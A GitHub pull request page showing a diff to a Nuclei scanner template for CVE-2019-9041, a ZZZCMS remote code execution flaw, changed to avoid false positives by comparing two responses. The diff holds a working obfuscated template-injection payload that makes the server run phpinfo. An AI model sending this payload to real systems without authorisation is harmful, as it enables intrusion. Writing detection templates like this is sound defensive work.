Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ZZZCMS RCE is a false positive if we see phpinfo() without posting any data #8260

Merged
merged 3 commits into from
Sep 26, 2023
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 16 additions & 17 deletions http/cves/2019/CVE-2019-9041.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -23,24 +23,23 @@ info:
tags: cve,cve2019,zzzcms,rce,edb

http:
- method: POST
path:
- "{{BaseURL}}/search/"
- raw:
- |
POST /search/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

body: |
keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}
- |
POST /search/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

headers:
Content-Type: application/x-www-form-urlencoded
keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}

matchers-condition: and
matchers:
- type: word
part: body
words:
- "phpinfo"
- "PHP Version"

- type: status
status:
- 200
- type: dsl
dsl:
- 'status_code_2 == 200'
- '!contains(body_1, "phpinfo")'
- 'contains_all(body_2, "phpinfo","PHP Version")'
condition: and